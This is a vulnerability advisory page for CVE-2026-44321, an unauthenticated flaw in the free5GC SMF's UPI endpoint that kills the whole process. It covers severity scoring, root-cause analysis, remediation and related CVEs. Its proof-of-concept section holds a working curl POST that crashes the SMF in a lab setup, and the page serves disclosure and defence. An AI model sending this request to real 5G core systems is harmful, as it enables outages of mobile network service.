Skip to main content

free5GC SMF EUVDEUVD-2026-32577

| CVE-2026-44321 HIGH
Missing Authentication for Critical Function (CWE-306)
2026-05-08 https://github.com/free5gc/free5gc GHSA-44qj-cghf-9p97
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

UPI route group has no auth middleware so PR:N, network-reachable SBI with a simple JSON POST gives AV:N/AC:L, and impact is a full process kill so A:H with C:N/I:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 24, 2026 - 00:17 vuln.today
Analysis Generated
Jul 24, 2026 - 00:17 vuln.today
CVE Published
May 08, 2026 - 22:47 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.

Details

Validated against the SMF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/smf:v4.2.1
  • Runtime SMF commit: 8385c00a
  • Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z)
  • SMF endpoint: http://10.100.200.6:8000

The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:

Vulnerable handler dispatches into topology parsing:

POST /upi/v1/upNodesLinks
 -> UpNodesFromConfiguration()
   -> isOverlap(allUEIPPools)
     -> logger.InitLog.Fatalf("overlap cidr value between UPFs")

Code evidence (paths in free5gc/smf):

  • UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):
  • NFs/smf/internal/sbi/server.go:76
  • NFs/smf/internal/sbi/server.go:78
  • Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration():
  • NFs/smf/internal/sbi/api_upi.go:60
  • NFs/smf/internal/sbi/api_upi.go:72
  • Pool parsing (input from attacker JSON):
  • NFs/smf/internal/context/user_plane_information.go:413
  • Overlap check that calls Fatalf:
  • NFs/smf/internal/context/user_plane_information.go:479

The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler:

  • NFs/smf/internal/context/user_plane_information.go:416
  • NFs/smf/internal/context/user_plane_information.go:424
  • NFs/smf/internal/context/user_plane_information.go:430

PoC

Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

  1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16):
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'

Client-side observation (server died mid-request, no HTTP response written):

curl: (52) Empty reply from server
  1. Confirm the SMF container exited:
docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}'
smf    Exited (1) 9 seconds ago
  1. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process:
[FATA][SMF][Init] overlap cidr value between UPFs

Impact

Unauthenticated process-kill DoS on the SMF management plane.

  1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.
  2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.

Any party that can reach SMF on the SBI can:

  • Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.
  • Repeat the trigger after every restart to sustain the outage.
  • Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.

No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

AnalysisAI

Unauthenticated denial of service in free5GC's Session Management Function (SMF) through v4.2.1 allows any attacker with SBI network reachability to terminate the entire SMF process with a single crafted POST. The UPI management route group is mounted without OAuth2 middleware, so the /upi/v1/upNodesLinks create-or-update handler passes attacker JSON into topology parsing that calls logger.InitLog.Fatalf() (os.Exit(1)-equivalent) on validation failures such as an overlapping UE-IP pool, dropping all SBI services until restart. A working PoC exists and is documented in the vendor advisory, though EPSS is low (0.04%) and there is no public exploit identified beyond the advisory PoC; it is not listed in CISA KEV.

Technical ContextAI

free5GC is an open-source 5G core network implementation written in Go; the SMF is the control-plane network function responsible for PDU-session establishment, UE IP allocation, and UPF topology management, exposed over the 3GPP Service Based Interface (SBI). The affected surface is the SMF's UPI (User Plane Information) management route group (NFs/smf/internal/sbi/server.go:76-78), which - unlike sibling groups such as nsmf-oam that correctly return 401 - is mounted without inbound OAuth2 authentication middleware. The root cause is CWE-306 (Missing Authentication) compounded by CWE-617/CWE-862: the handler at api_upi.go:60-72 forwards untrusted JSON to UpNodesFromConfiguration(), whose validation logic (user_plane_information.go:413-479) uses logger.InitLog.Fatalf() - a Go idiom that invokes os.Exit(1), bypassing Gin's panic recovery and deferred handlers - for request-time input validation. Multiple sibling Fatalf sites (invalid-pool, static-pool exclusion, and the CIDR overlap check) are all reachable from the same unauthenticated handler, making this a class of defect rather than a single bug. CPE: pkg:go/github.com_free5gc_smf.

RemediationAI

Upgrade to free5GC 4.2.2 or later, which incorporates the upstream fix (smf PR #203, commit e0974e07ddab44a67d36a563cca383b2449e33e5) that converts NewUserPlaneInformation() and UpNodesFromConfiguration() to return errors instead of calling logger.InitLog.Fatalf(), so malformed topology input is rejected without killing the process; references: https://github.com/free5gc/smf/pull/203 and https://github.com/free5gc/free5gc/security/advisories/GHSA-44qj-cghf-9p97. Because the patch changes the Fatalf sinks but the underlying authentication gap on the UPI route group (issue #887) is the enabling condition, defenders who cannot immediately upgrade should place the SMF SBI on an isolated network segment and use firewall or service-mesh rules to restrict access to the /upi/ endpoints to only trusted control-plane peers - accepting that this does not help against an attacker who already has SBI-adjacent access. Blocking or reverse-proxying the /upi/v1/upNodesLinks path with an authentication check in front of the SMF SBI listener is a targeted compensating control, with the trade-off that legitimate UPI topology-management automation would need to route through that proxy. Do not rely on process supervisors (Docker restart policies) alone, since the attacker can replay the request after every restart to sustain the DoS.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

EUVD-2026-32577 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy